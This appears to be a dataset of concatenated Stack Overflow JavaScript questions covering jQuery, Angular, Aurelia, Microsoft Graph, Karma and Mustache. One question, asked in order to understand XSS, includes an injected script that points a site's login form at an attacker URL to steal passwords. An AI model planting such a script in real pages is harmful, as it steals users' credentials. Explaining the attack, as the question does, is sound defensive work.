( ' < option value= '' ' + opcion.valor + ' '' > ' + opcion.texto + ' < /option > ' ) ; this.element.append ( this. $ compile ( opt ) ( scope ) ) ;",Angular - Add option to select using Jquery "JS : I am using the Bourbon Refill navigation menu , and want to modify it so when a link is clicked on in small mode the menu slides back up . At the moment the menu drops down , but when a menu item is clicked the menu stays dropped down . As I am using scroll-on-page with a fixed top menu this means a lot of the content is hidden behind the menu.Here is the code on Codepen : http : //codepen.io/mikehdesign/pen/LVjbPv/My existing code is below : HTMLSCSSJSHelp greatly appreciatedMike < header class= '' navigation '' role= '' banner '' > < div class= '' navigation-wrapper '' > < a href= '' javascript : void ( 0 ) '' class= '' logo '' > < img src= '' https : //raw.githubusercontent.com/thoughtbot/refills/master/source/images/placeholder_logo_1_dark.png '' alt= '' Logo Image '' > < /a > < a href= '' javascript : void ( 0 ) '' class= '' navigation-menu-button '' id= '' js-mobile-menu '' > Menu < /a > < nav role= '' navigation '' > < ul id= '' js-navigation-menu '' class= '' navigation-menu show '' > < li class= '' nav-link '' > < a href= '' javascript : void ( 0 ) '' > About Us < /a > < /li > < li class= '' nav-link '' > < a href= '' javascript : void ( 0 ) '' > Contact < /a > < /li > < li class= '' nav-link '' > < a href= '' javascript : void ( 0 ) '' > Testimonials < /a > < /li > < li class= '' nav-link '' > < a href= '' javascript : void ( 0 ) '' > Sign up < /a > < /li > < /ul > < /nav > .navigation { $ large-screen : em ( 860 ) ! default ; $ large-screen : $ large-screen ; // Mobile view.navigation-menu-button { display : block ; float : right ; margin : 0 ; padding-top : 0.5em ; @ include media ( $ large-screen ) { display : none ; } } // Nav menu.navigation-wrapper { @ include clearfix ; position : relative ; } .logo { float : left ; img { max-height : 2em ; padding-right : 1em ; } } nav { float : none ; @ include media ( $ large-screen ) { float : left ; line-height : 1.5em ; padding-top : 0.3em ; } } ul.navigation-menu { clear : both ; display : none ; margin : 0 auto ; overflow : visible ; padding : 0 ; width : 100 % ; @ include media ( $ large-screen ) { display : block ; margin : 0 ; padding : 0 ; } & .show { display : block ; } } // Nav itemsul li.nav-link { display : block ; text-align : right ; width : 100 % ; @ include media ( $ large-screen ) { background : transparent ; display : inline ; text-decoration : none ; width : auto ; } } li.nav-link a { display : inline-block ; @ include media ( $ large-screen ) { padding-right : 1em ; } } } $ ( document ) .ready ( function ( ) { var menuToggle = $ ( ' # js-mobile-menu ' ) .unbind ( ) ; $ ( ' # js-navigation-menu ' ) .removeClass ( `` show '' ) ; menuToggle.on ( 'click ' , function ( e ) { e.preventDefault ( ) ; $ ( ' # js-navigation-menu ' ) .slideToggle ( function ( ) { if ( $ ( ' # js-navigation-menu ' ) .is ( ' : hidden ' ) ) { $ ( ' # js-navigation-menu ' ) .removeAttr ( 'style ' ) ; } } ) ; } ) ; } ) ;",Bourbon Refill Navigation Menu slide up on click "JS : If I want to call a function like this : Normally I 'd have to phrase my function definition like this : But this awesome syntax is totally valid in spidermonkey for defining functions : What is this feature ? moo ( { a : 4 } ) ; function moo ( myArgObj ) { print ( myArgObj.a ) ; } function moo ( { a , b , c } ) { // valid syntax ! print ( a ) ; // prints 4 }",Where can I get info on the object parameter syntax for JavaScript functions ? "JS : Code in JSFiddle : http : //jsfiddle.net/wardrobe/6UVDD/I want to use jQuery to slow the animation speed of a CSS-animated atom to a crawl on mouseover , but to do so using some kind of easing . I can get jQuery to change the play state to paused easy enough , but to slow to a crawl seems harder.HTMLCSS : JS : Thanks < div id= '' atom '' > < div id= '' cloud '' > < div class= '' orbit '' > < div class= '' path '' > < div class= '' electron '' > < /div > < /div > < /div > < div class= '' orbit '' > < div class= '' path '' > < div class= '' electron '' > < /div > < /div > < /div > < div class= '' orbit '' > < div class= '' path '' > < div class= '' electron '' > < /div > < /div > < /div > < div class= '' orbit '' > < div class= '' path '' > < div class= '' electron '' > < /div > < /div > < /div > < div id= '' nucleus '' > < /div > < /div > < /div > # atom { position : absolute ; top : 50 % ; left : 50 % ; width:300px ; margin-left : -170px ; margin-top : -146px ; transition : all 1.5s ; } # cloud { width:300px ; height:300px ; -webkit-perspective : 1000 ; position : relative ; -webkit-animation-play-state : paused ; } # nucleus { position : absolute ; top:50 % ; left:50 % ; margin : -10px 0 0 -10px ; width:25px ; height:25px ; border-radius:25px ; -webkit-border-radius:25px ; -moz-border-radius:25px ; background : # 272727 ; } .orbit { position : absolute ; top:0 ; left:0 ; width:300px ; height:300px ; border-radius:300px ; -webkit-border-radius:300px ; -moz-border-radius:300px ; border:5px solid # ccc ; -webkit-transform-style : preserve-3d ; -webkit-transform : rotateX ( 80deg ) rotateY ( 20deg ) ; } # cloud .orbit : nth-child ( 2 ) { -webkit-transform : rotateX ( 80deg ) rotateY ( 70deg ) } # cloud .orbit : nth-child ( 3 ) { -webkit-transform : rotateX ( 80deg ) rotateY ( -20deg ) } # cloud .orbit : nth-child ( 4 ) { -webkit-transform : rotateX ( 80deg ) rotateY ( -50deg ) } # cloud .orbit : nth-child ( 2 ) .path , # cloud .orbit : nth-child ( 2 ) .electron { -webkit-animation-delay : -1.0s } # cloud .orbit : nth-child ( 3 ) .path , # cloud .orbit : nth-child ( 3 ) .electron { -webkit-animation-delay : -1.5s } # cloud .orbit : nth-child ( 4 ) .path , # cloud .orbit : nth-child ( 4 ) .electron { -webkit-animation-delay : -0.5s } .path { width:300px ; height:300px ; position : relative ; -webkit-transform-style : preserve-3d ; -webkit-animation-name : pathRotate ; -webkit-animation-duration : 2s ; -webkit-animation-iteration-count : infinite ; -webkit-animation-timing-function : linear ; } .electron { position : absolute ; top : -5px ; left:50 % ; margin-left : -5px ; width:10px ; height:10px ; border-radius:10px ; background : # ccc ; -webkit-animation-name : electronFix ; -webkit-animation-duration : 2s ; -webkit-animation-iteration-count : infinite ; -webkit-animation-timing-function : linear ; } @ -webkit-keyframes pathRotate { from { -webkit-transform : rotateZ ( 0deg ) ; } to { -webkit-transform : rotateZ ( 360deg ) ; } } @ -webkit-keyframes electronFix { from { -webkit-transform : rotateX ( 90deg ) rotateY ( 0deg ) ; } to { -webkit-transform : rotateX ( 90deg ) rotateY ( -360deg ) ; } } $ ( function ( ) { $ ( `` # atom '' ) .mouseover ( function ( ) { $ ( `` .path '' ) .animate ( { `` -webkit-animation-duration '' : `` 25s '' } , { duration : 'slow ' } ) ; $ ( `` .electron '' ) .animate ( { `` -webkit-animation-duration '' : `` 25s '' } , { duration : 'slow ' } ) ; } ) .mouseout ( function ( ) { $ ( `` .path '' ) .animate ( { `` -webkit-animation-duration '' : `` 2s '' } , { duration : 'slow ' } ) ; $ ( `` .electron '' ) .animate ( { `` -webkit-animation-duration '' : `` 2s '' } , { duration : 'slow ' } ) ; } ) ; } ) ;",Bullet-Time CSS Animation Slowdown "JS : I haveNote the ref=images at the end of the url . My questions is , how do i get the ref variable from the url and use it inside this same js file . < script type= '' text/javascript '' src= '' http : //doamin.com/js/whatever.js ? ref=images '' > < /script >",JavaScript url variables "JS : I need get hover effect in a div from the cursor position.I have this html and cssAnd I need something like this : I 'm open to js or jquery solutions.EDITI have a jquery solution : But i need the circle make the over animation like first snippet.Original question here .f { width : 200px ; height : 200px ; background-color : grey ; position : fixed ; border-radius : 100px ; } .s { width : 50px ; height : 50px ; background-color : black ; border-radius : 100px ; margin : 75px 0px 0px 75px ; transition : width 1s , height 1s , margin 1s ; } .s : hover { width : 100px ; height : 100px ; background-color : black ; margin : 50px 0px 0px 50px ; } < div class= '' f '' > < div class= '' s '' > < /div > < /div > $ ( `` div.f '' ) .mousemove ( function ( e ) { $ ( 'div.s ' ) .css ( { left : e.clientX - 28 , top : e.clientY - 24 } ) ; } ) ; .f { width : 200px ; height : 200px ; background-color : grey ; position : fixed ; border-radius : 100px ; /* comment or remove the overflow if necessary */ overflow : hidden ; } .s { position : absolute ; width : 50px ; height : 50px ; background-color : black ; border-radius : 100px ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' f '' > < div class= '' s '' > < /div > < /div >",Apply hover from the cursor position "JS : I want to set a base title value for my Aurelia application and then append a value to it based on the route that is active.My router configuration is : Aurelia wants to append the title navigation parameter to the beginning of the config.title , but I would like it at the end.I 've tried doing an override in the view model : but this results in : on each routing request . What am I doing wrong ? or how can I append the route title attribute to the end of the config.title instead of the beginning ? export class App { configureRouter ( config , router ) { config.title = 'Brandon Taylor | Web Developer | Graphic Designer ' ; config.map ( [ . . . { route : 'work ' , name : 'work ' , moduleId : 'work ' , nav : true , title : ' | work ' } , . . . ] ) ; this.router = router ; } } export class Work { activate ( params , routeConfig , navigationInstruction ) { routeConfig.navModel.router.title += ' | work ' ; } ; } Brandon Taylor | Web Developer | Graphic Designer | work | work | work ...",Appending a value to the Aurelia router config.title "JS : I am trying to access the Joined Groups from Microsoft Graph API , I have done the Azure AD authentication and able to get the required access token.The access token is working when I read the data from SharePoint OData endpoints but I am not able to access the URLI tried to access using PostMan client and it gives me the errorWhen I tried to access this URL using javascript code then I got the different errorI tried with different permission set , even with administrative access but no luck.I also tried to accessit is working in the PostMan Client but , not working in the JavaScript ( I got the same error ) .Tere is the header I use to send RequestCan Anyone suggest What things I missed or What permission I should use ? These permission require admin consent , are these the correct permissions ? Update 2I tried to use admin consent , grant all required permission to the app ( AD app ) . below are the scope data extracted from jwt.ioI am using administrator account with all permissions . but no luck , still I am getting `` Error authenticating with resource . `` but using the token I can access the URLand in response , I am getting all the details of AdminI tried to read all the documentation available for that but no luck https : //graph.microsoft.com/beta/me/joinedTeams { `` error '' : { `` code '' : `` AuthenticationError '' , `` message '' : `` Error authenticating with resource . `` , `` innerError '' : { `` request-id '' : `` ef4be9c8-27c7-40e7-8157-c08848f5132f '' , `` date '' : `` 2018-03-13T09:46:11 '' } } } { `` error '' : { `` code '' : `` BadRequest '' , `` message '' : `` Invalid version '' , `` innerError '' : { `` request-id '' : `` 51113cc5-2963-4e0f-bf70-6e080a8f5671 '' , `` date '' : `` 2018-03-13T09:29:18 '' } } } https : //graph.microsoft.com/beta/me/ var header = { Authorization : `` Bearer < ACCESS_TOKEN > '' , Accept : `` application/json ; odata.metadata=minimal ; odata.streaming=true ; IEEE754Compatible=false '' } ; `` scp '' : `` email Group.Read.All Group.ReadWrite.All openid User.Read User.Read.All User.ReadBasic.All User.ReadWrite.All '' `` aud '' : `` https : //graph.microsoft.com/ '' https : //graph.microsoft.com/v1.0/me",Issue while accessing Groups from Microsoft Graph Api "JS : In Javascript , is it possible to cache the results of eval ? For example it would be great if I could : var str= '' some code ... '' ; var code = eval ( str ) ; //later on ... code.reExecute ( ) ;",cache eval ( ) result "JS : As you most likely already know , it 's simple in JQuery to select all elements in the document that have a specific CSS class , and then , using chaining , assign common event handlers to the selected elements : As usual the class `` toolWindow '' is also normally defined in CSS and associated with some visual styles : The class attribute is now responsible for indicating not just the appearance ( visual state ) of the element , but also the behaviour . As a result , I quite often use this approach and define CSS class names more as pseudo object oriented classes then visual only CSS classes . In other words , each class represents both state ( CSS styles ) and behaviour ( events ) . In some cases I have even created classes with no visual styling and simply use them as a convenient way to assign behaviour to elements . Moreover , the jQuery LiveQuery plugin ( and the live ( ) built-in function ) make this approach even more effective by automatically binding events to dynamically created elements belonging to a specificed class.Of late I am primarily using class names as defining a common set of behaviour for associated DOM elements and only later using them to define a visual style . Questions : Is this a terrible misuse of the CSS `` class '' attribute , if so why ? On the other hand , perhaps it is a perfectly valid approach to further implementing `` separate of concerns '' and improving the maintainability of HTML/DHTML pages ? $ ( `` .toolWindow '' ) .click ( toolWindow_click ) ; $ ( `` .toolWindow '' ) .keypress ( toolWindow_keypress ) ; .toolWindow { color : blue ; background-color : white ; }","Misuse of the CSS class attribute , or valid design pattern ?" "JS : May be I 'm missing something here . Please bear with me as I 'm new to OOP in javascript . But I need to find a solution to my problem . I have this code.Now I 'm trying to inherit the parent using the code like below , When I do like this it works.But I would like to have someFunc ( ) inside child like below , Doing that will throw me an error as Uncaught TypeError : Object [ object global ] has no method 'getLightBox ' But as I know this refers to the current object and I 'm just confused here about how to solve this problem . Please correct me if I 'm wrong . Or if there is a better way then I would like to know about it . var parent = function ( ) { } parent.prototype.someFunc = function ( ) { return `` a string '' ; } var child = function ( ) { parent.call ( this ) ; } child.prototype = new parent ( ) ; var obj = new child ( ) ; obj.someFunc ( ) ; var child = function ( ) { parent.call ( this ) ; var someVal = this.someFunc ( ) ; // method from parent . } child.prototype = new parent ( ) ;",Inheritance in JavaScript causes Uncaught TypeError JS : I 'm using the drop event in JavaScript to upload files using the following code : But this code only gets the file name ... I need to get the full path of the file . var fileName = event.dataTransfer.files [ 0 ] .name ; var orgValue = document.getElementById ( ' < % =tbfilesCollections.ClientID % > ' ) .value ; if ( orgValue == 'undefined ' ) { orgValue = `` ; } orgValue += orgValue == `` ? `` : '\n ' ; orgValue += `` * '' + fileName ; document.getElementById ( ' < % =tbfilesCollections.ClientID % > ' ) .value = orgValue ; event.preventDefault ( ) ; return false ;,javascript ondrop event "JS : In the example in Leaflet ( for non geographic image ) , they set `` bounds '' . I am trying to understand how they computed the valuesThe origin is bottom-left and y increases upwards / x towards the right . How did negative numbers turn up here ? Also , after experimentation , I see that the actual pixel coordinates change if you specify different coordinates for bounds . I have a custom png map which I would like to use but I am unable to proceed due to this . var bounds = [ [ -26.5 , -25 ] , [ 1021.5,1023 ] ] ;",How are the bounds calculated in the Leaflet CRS.Simple tutorial ? JS : I wonder why D3.js does n't add the namespace attributes to the SVG element.I think the output should something like : Actually its just See this fiddle for a complete example : http : //jsfiddle.net/7kWDK/ d3.ns.prefix.ex = 'http : //example.com/ ' ; var chart = d3.select ( ' # chart ' ) .append ( 'svg : svg ' ) ; < svg xmlns= '' http : //www.w3.org/2000/svg '' xmlns : ex= '' http : //example.com/ '' > < svg >,d3 does n't append namespace attributes to svg element "JS : So I know , it was not the most smartass idea , but I updated nodejs to version 0.10 with `` n '' while the server was still running with forever.Now when I try typing in ororit simply does nothing . Anyways - still shows the help menu , but all actions wo n't work . And my nodejs Server is still responding ! Is there any method I can kill forever with fire ? $ forever list $ forever stopall $ forever restartall $ forever -- help",nodejs : forever not responding "JS : I have an array filled with objects . It contains 23 items in total , however when I perform a .length on it , it returns 20.Image of what my console returns : What 's going wrong here ? // Get the new routesvar array = PostStore.getPostList ( ) ; console.log ( array.objects ) ; console.log ( array.objects.length ) ;",Array length incorrect "JS : As I 'm getting familiar with Testcafe , I 'm trying to use a command line argument to give the user more information on how to run tests . For that reason , I 'm using the minimist package.However , I can not print or use any variables outside the test cases . Please find below my code.I want to write an if statement that checks if env === `` or use a default argument.How can I accomplish this ? import { Selector } from 'testcafe ' ; import minimist from 'minimist ' ; const args = minimist ( process.argv.slice ( 2 ) ) ; const env = args.env ; console.log ( '*** A SAMPLE CONSOLE OUTPUT *** ' ) ; // does not printfixture ` Getting Started ` .page ` http : //devexpress.github.io/testcafe/example ` ; test ( 'My first test ' , async t = > { console.log ( '*** ANOTHER SAMPLE CONSOLE OUTPUT *** ' ) ; // prints await t .typeText ( ' # developer-name ' , 'John Smith ' ) .wait ( 1000 ) .click ( ' # submit-button ' ) // Use the assertion to check if the actual header text is equal to the expected one .expect ( Selector ( ' # article-header ' ) .innerText ) .eql ( 'Thank you , John Smith ! ' ) ; } ) ;",Testcafe - Test command line argument outside test case "JS : I am working on a Firefox addon and I currently need to dynamically add menuitems to a menupopup element . I have tried basically all of the approaches on the Mozilla Developer Center and none of them work.This code breaks at the appendChild command . Any ideas why ? function populateDropdown ( ) { var counter = 0 ; for ( var key in services ) { var newMenuItem = document.createElementNS ( `` http : //www.mozilla.org/keymaster/gatekeeper/there.is.only.xul '' , `` menuitem '' ) ; newMenuItem.setAttribute ( `` label '' , services [ key ] [ 'title ' ] ) document.getElementById ( `` mainDropdown '' ) .appendChild ( newMenuItem ) ; } }",appendChild in a XUL Firefox addon breaks "JS : When running karma from a grunt task I get the following warning : I have tested running karma with my configuration , both using the 'run ' and 'start ' karma commands and they seem to work fine.Using grunt -- force can complete the task , but it completes with warnings.This are the versions that I 'm currently using : Karma 0.13.0Grunt 0.4.5grunt-cli 0.1.13node.js 0.12.7npm 2.11.3The project was generated using yeoman ( 1.4.7 ) but I have the same problem using Karma in a separate project with just jasmine , karma and Grunt ( also tested it with Gulp ) .I have searched for the warning message but found nothing . I do n't know if this is the expected behavior or if there is another way of completing the tasks without warnings . Running `` karma : unit '' ( karma ) taskWarning : The api interface has changed . Please use server = new Server ( config , [ done ] ) server.start ( ) instead . Use -- force to continue.Aborted due to warnings .",Warning 'The API interface has changed ' when running Karma on grunt "JS : I 'm a PHP developer and I 'm looking to improve the security of my sites.From what I understand the following are two major types of vulnerabilities which affect web applications : SQL InjectionXSSSQL Injection can be fixed with prepared statements - easy.But I still do n't really get XSS - is the following an example of XSS ? ... Page full of user-made content has a login form at the top ( site-wide ) .The user 's input to the page is not HTML-escaped.A user posts the following content ( e.g . a comment ) to the page ... An innocent user comes to the page , the script executes.The innocent user realises they 're not logged in , and enter their details into the form.The user 's details are sent off to http : //somehackysite.com/givemyourpw.php and then the user 's account details are stolen.So I really have three questions here : Would this work ? Is this XSS ? Are there any precautions developers should take against XSS other than escaping HTML ? A really nice comment < ! -- now an evil script ( example here with jquery , but easily done without ) -- - > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( ' # login_form ' ) .attr ( 'action ' , 'http : //somehackysite.com/givemeyourpw.php ' ) ; } ) ; < /script >",Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS "JS : I have a canvas facebook application which has both a web page and a designated mobile page.The web page works fine and also when simulating the browser to mobile with the console everything works fine.But , when I try to run the app from the facebook mobile app the canvas app loads ( which is correct ) , but it does not login . I am using the FB.login function.and in the settings > advanced - I have the : Client OAuth Login , Web OAuth Login , Embedded Browser OAuth Login , Valid OAuth redirect URIs and Login from Devices filled correctly.but still from the facebook mobile app the canvas app does not preform the login . I have been trying to get this to work all day.and I cant find a solution anywhere.I also cant debug the mobile facebook app.any ideas how to approach this issue ? EDITAlso looked at my Node server logs and I see that the FB.login is not even called . EDIT 2I ended up replacing the login with getLoginStatus which poses no problem to me since its a facebook canvas app ... but the question still remains on how to do the login.EDIT 3 11/26/2015well so getLoginStatus did not completely solve my issue since it does not in fact log the user in so for the canvas games you probably need to login for the first entry if you need permissions ... my solution was to add the login if the getLoginStatus returns not_autorized like so : But wait , there is more ... the FB.login function will not work well on mobile canvas games ( not sure if its just not triggered or the browsers blog the popups or both ) . anyway you need to actively call it via button ... so for mobile canvas games I had to add a start playing button and then the login does work..EDIT 4 ( Final ) eventually I noticed that FB.login ( ) does not get triggered unless its an external event that triggers it , so I had to make a change for Mobile canvas where if the getLoginStatus doesnt return connected then I show a login button which does the login ... the rest stayed the same.what I did for mobile was similar to the accepted answer only to suit my needs ... I hope this helps someone besides me ... login : function ( ) { var deferred = $ q.defer ( ) ; FB.login ( function ( response ) { if ( ! response || response.error ) { deferred.reject ( 'Error occured ' ) ; } else { deferred.resolve ( response ) ; } } , { scope : 'email , user_friends ' } ) ; return deferred.promise ; } , /** * [ getLoginStatus get the FB login status ] * @ return { [ type ] } [ description ] */ getLoginStatus : function ( ) { var deferred = $ q.defer ( ) ; FB.getLoginStatus ( function ( response ) { if ( response.status === 'connected ' ) { deferred.resolve ( response ) ; } else if ( response.status === 'not_authorized ' ) { _fbFactory.login ( ) .then ( function ( fbLoginResponse ) { deferred.resolve ( fbLoginResponse ) ; } ) ; } else { deferred.reject ( 'Error occured ' ) ; } } ) ; return deferred.promise ; } ,","Facebook Canvas , Unable to login from facebook on mobile devices" "JS : I noticed that orderBy in Chrome is not sorting the same as it is in other browsers.I am writing for a project in Angular 1.3.Chrome sorting : IE 10 sorting : There is no special logic regarding specific browsers and both arrays are EXACTLY the same.The predicate is explicitly defined : My ng-repeat looks like this : There 's nothing special or different with my code . The 'sizes ' , however , are strings ( e.g . size : ' 8- ' , ... , size : ' 6 ' , ... ) . Why is this sorting entirely differently on Chrome than on every other browser ? All of my results are coming in sorted from the back end in groups of style # and then ascending sizes . When the primary sort is set on Angular , in this case Style , Chrome is mixing up the already sorted sizes . Please see Plnk below ( open in Chrome and IE/FireFox to see the difference ) http : //plnkr.co/edit/6TO8pZZ8jZ8Tytw6wHpQ ? p=preview $ scope.predicate = 'style ' ; $ scope.reverse = true ; < tr ng-repeat= '' line in model.resultList | orderBy : predicate : reverse '' >",OrderBy is sorting differently in Chrome than other browsers "JS : I have done some research about Javascript sorting algorithms performance comparison , and found unexpected results . Bubble sort provided much better performance than others such as Shell sort , Quick sort and a native Javascript functionality . Why does this happen ? Maybe I 'm wrong in my performance testing method ? You can find my research results here.Here are some algorithm implementation examples : /** * Bubble sort ( optimized ) */ Array.prototype.bubbleSort = function ( ) { var n = this.length ; do { var swapped = false ; for ( var i = 1 ; i < n ; i++ ) { if ( this [ i - 1 ] > this [ i ] ) { var tmp = this [ i-1 ] ; this [ i-1 ] = this [ i ] ; this [ i ] = tmp ; swapped = true ; } } } while ( swapped ) ; } /** * Quick sort */ Array.prototype.quickSort = function ( ) { if ( this.length < = 1 ) return this ; var pivot = this [ Math.round ( this.length / 2 ) ] ; return this.filter ( function ( x ) { return x < pivot } ) .quickSort ( ) .concat ( this.filter ( function ( x ) { return x == pivot } ) ) .concat ( this.filter ( function ( x ) { return x > pivot } ) .quickSort ( ) ) ; }",Why Javascript implementation of Bubble sort much faster than others sorting algorithms ? "JS : so I have scoured stackoverflow and found some similar articles but nothing has worked for me yet . I am creating a rails app and I want to use the Masonry for my layout . I have tried uploading the js as described in this post , but I could not get it to work no matter how many times I tried ( yes I matched all the correct IDs and classes ) . I know the gem is working because the CSS is loading fine , I just cant get the JS to work . Here is what I have at the momentGemfile : application.js : index.html.erb : _products.html.erbI am so lost , I have been working on this for hours trying everything . The CSS is working/looking fine but I am just struggling with the js . Would appreciate any help thank you so much ! # masonry layoutgem 'masonry-rails ' //= require jquery//= require jquery_ujs//= require turbolinks//= require bootstrap//= require_tree . //= require masonry/jquery.masonry < div class= '' center '' > < div id= '' masonry-container '' class= '' transitions-enabled infinite-scroll clearfix '' > < % = render @ products % > < /div > < div class= '' paginator '' > < % = will_paginate @ products , renderer : BootstrapPagination : :Rails % > < /div > < /div > < div class= '' box '' > < % gfyid = product.gfy.to_s.gsub ( `` http : //gfycat.com/ '' , `` '' ) % > < h2 > < % = product.name % > < /h2 > < div class= '' gfySize '' > < div class= '' gfyitem '' data-title=false data-autoplay=false data-controls=false data-expand=false data-id= '' < % = gfyid % > '' > < /div > < /div >",Can not get Masonry-Rails Gem to work in my app "JS : How can I create dynamic tags ? It will create < img src= '' /images/flower.png '' id= '' image-1 '' / > I want to create < span > tag around < img > tag.i.e . < span > < img src= '' /images/flower.png '' id= '' image-1 '' / > < /span > $ ( `` < img / > '' ) .attr ( { id : `` image-1 '' , src : `` /images/flower.png '' , } ) .appendTo ( `` # '' + imgContainer ) ;",Creating dynamic span "JS : Here 's an example of an higher order function called functionA that has customValue as input and returns a function that gets an input and uses the custom value to elaborate a result : Here 's some results : Can the function returned by functionA be considered pure ? UPDATE : the examples above are only using numeric input . As described by @ CRice , the returned function can be considered pure only when customValue is constant and does n't have internal state ( like classes ) . let functionA = ( customValue ) = > { let value = customValue || 1 ; return input = > input * value ; } ; functionA ( ) ( 4 ) // = > returns 4functionA ( 2 ) ( 4 ) // = > returns 8functionA ( 3 ) ( 4 ) // = > returns 12functionA ( 4 ) ( 4 ) // = > returns 16",Higher order function returns pure function "JS : I would like to declare a type-enforced array of items and be able to derive a union type from it . This pattern works if you do not explicitly give a type to the items in the array . I am not sure how to best explain it so here is an example : EXAMPLE 1EXAMPLE 2Here is an example of deriving the keys when using as const . I want this same behavior but with the array being explicitly typed.desired value of keys : `` foo '' | '' bar '' actual value of keys : string type Pair = { key : string ; value : number ; } ; const pairs : ReadonlyArray < Pair > = [ { key : 'foo ' , value : 1 } , { key : 'bar ' , value : 2 } , ] as const ; type Keys = typeof pairs [ number ] [ 'key ' ] type Data = { name : string ; age : number ; } ; const DataRecord : Record < string , Data > = { foo : { name : 'Mark ' , age : 35 } , bar : { name : 'Jeff ' , age : 56 } , } as const ; type Keys = keyof typeof DataRecord ; const pairs = [ { key : 'foo ' , value : 1 } , { key : 'bar ' , value : 2 } , ] as const ; type Keys = typeof pairs [ number ] [ 'key ' ] ; // `` foo '' | `` bar ''",Typescript : derive union type from array of objects "JS : I was trying to understand what I could from jQuery 's animation functions , but ended up running into all sorts of internal functions I did n't understand , and ultimately landed on isWindow . The code for isWindow checks to see if an object has the property setInterval , and returns false otherwise.Of course , any object could have the property setInterval without being the window , and although it would almost have to be a deliberate attempt to sabotage jQuery 's functionality to have an object with that exact property name , I can imagine some reasonable cases where it could be unintentional . Is there not a better way to check if an object is a window object ? Could n't they use something along the lines ofI know the return of toString of an internal function is n't going to be standard across all browsers , but the writers of jQuery seem to have a great understanding of these cross-browser differences . I 'm also aware that this is n't a fool-proof method either , as someone could easily override the toString method to return that same string , but this would still prevent the problem of having an object mistaken for a window . I would n't ask if I thought that isWindow was only used on internal objects by jQuery , but it was part of isPlainObject , which is used in .extend , which can be used on external objects . obj.setInterval & & obj.setInterval.toString ( ) == 'function setIternval ( ) { [ native code ] }",jQuery 's .isWindow method ? "JS : Inside a Backbone model , we have the url and urlRoot attributes : however I want to add params or query params to the url , depending on what type of request it is GET , POST , PUT , DELETE , etc.So I want to do something like this : is there a good way to accomplish something like this ? url : function ( ) { return '/jobs ' } , urlRoot : function ( ) { return '/jobs ' } , url : function ( type , opts ) { //type and opts arguments are not available in Backbone , I just made them up for this example var url = '/jobs ' ; switch ( type ) { case 'GET ' : break ; case 'POST ' : break ; case 'PUT ' : url = url + ' ? optimisticDelete= ' + opts.optimisticDelete ; break ; case 'DELETE ' : url = url + ' ? upsert= ' + opts.upsert ; break ; default : throw new Error ( 'no match ' ) ; } return url ; } ,",Backbone Models - change URL query params depending on REST action "JS : I 'm using jQuery to display a certain page to a user through it 's .load ( ) function . I am doing this to allow user customization to the website , allowing them to fit it to their needs.At the moment , I am trying to display the file feed.php inside of a container within main.php ; I have come across a problem where I would like to prevent direct access to the file ( i.e : going directly to the path of it ( ./feed.php ) ) , but still allowing it to be served through the .load ( ) function.If I use the .htaccess deny from all method for this , I get a 403 on that specific part of the page . I ca n't find any other solution to this problem ; disallowing me to achieve what I want.This is my current ( simplified ) script and html : If anyone could suggest a solution through .htaccess , php , or even a completely different way to do this , I 'd be very grateful ! Thanks in advance . < script type= '' text/javascript '' > $ ( `` # dock-left-container '' ) .load ( `` feed.php '' ) ; // load feed.php into the dock-left-container div < /script > < div class= '' dock-leftside '' id= '' dock-left-container '' > < /div > // dock-left-container div",block direct access to file but allow access through jquerys load function "JS : The Problem ( Since posting this , I 've gotten a little closer to solving it , but I 'm still stuck . Please check the update at the end of the question ) .I have a site that 's been template using Mustache.js . When the site is run locally , it works fine . The templates are loaded , Mustache replaces the mustache tags with the given data , and the page renders as expected.When the site is run from my ( school ) server however , it develops an odd issue . For whatever reason , Mustache.render is replacing all the mustache tags in my template with nothing ( as in empty strings ) . Obviously , this is causing my site to load very wrong.What I 've Tried To Diagnose ItUsing console logging , I tracked the loaded templates , and what Mustache produces . The results are below : The data to plug into the templates ( siteData.json ) : Body Template ( BodyTemplate.mustache ) : Here 's where it differs . After running the above files through Mustache.render locally , here are the results : Exactly as I 'd expect . All the mustache tags were removed , and replaced with the corresponding data from the JSONHowever , here 's the results when run from my school 's server ( The exact same code ) : Notice how all of the mustache tags were simply removed instead of being replaced by the data.I know everything is being downloaded fine , so it 's not a path issue : While I 've been using mustache for about a week , I have no idea how to diagnose a problem like this . The above snippets were the result of console logging , so I 've verified the input going into Mustache.render , and it all checks out . And again , this only happens when it 's hosted remotely.Here 's my rendering module ( templateLoader.js ) ( The chunk of console logs in the middle of renderPage is the source of the above snippets via the Developer Cosole ) : And here 's the full results of the log : Any guidance at all here would be appreciated.Update : So , while debugging it , I found out the potential source of the problem , but have no idea how to resolve it . When debugging it locally , the data object ( inside renderPage ) is interpreted by Edge as a JS object , and lists each of its attributes . When it 's remote however , the data object is being interpreted as a String ( local is on the left , remote on the right ) : So , the issue seems to be that the data.json is n't being read properly on the server side.I should note that locally , I 'm using Windows , but the school server is `` Apache/2.2.3 ( Red Hat ) '' ( according to Edge 's Network tab ) . I changed the returns from \r\n to \n to adhere to Unix standards , but it did n't change anything.I 've run the JSON file through all of the top JSON validators , and it checks out in all of them , so it does n't seem to be a formatting issue . { `` headerClasses '' : `` mainHeader '' , `` headerTitle '' : `` Uromastyces Fact Site '' , `` sideBarClasses '' : `` mainSideBar '' , `` sideBarImgClasses '' : `` sideBarImage '' , `` sideBarImgAlt '' : `` A Picture of Pascal '' , `` sideBarImgSrc '' : `` ../images/pascal-cropped-shrunk.jpg '' , `` navBarClassNames '' : `` navBar '' , `` navLinks '' : [ { `` name '' : `` Home '' , `` link '' : `` index.html '' } , { `` name '' : `` Enclosure '' , `` link '' : `` enclosure.html '' } , { `` name '' : `` Diet '' , `` link '' : `` diet.html '' } , { `` name '' : `` Behavior and Life '' , `` link '' : `` behaviorAndLife.html '' } , { `` name '' : `` About Me '' , `` link '' : `` aboutMe.html '' } ] , `` uniqueBodyClasses '' : `` uniqueBody '' , `` uniqueBodyContent '' : `` DEFAULT UNIQUE BODY '' , `` footerClasses '' : `` mainFooter '' , `` authorWrapperClasses '' : `` footerAuthor footerWrapper '' , `` dateModifiedWrapperClasses '' : `` footerModified footerWrapper '' , `` authorName '' : `` Brendon Williams '' , `` lastModifiedDate '' : `` DEFAULT LAST MODIFIED DATE '' , `` indexNavBarClasses '' : `` indexNavBar '' } < header class= '' { { headerClasses } } '' > < h1 > { { 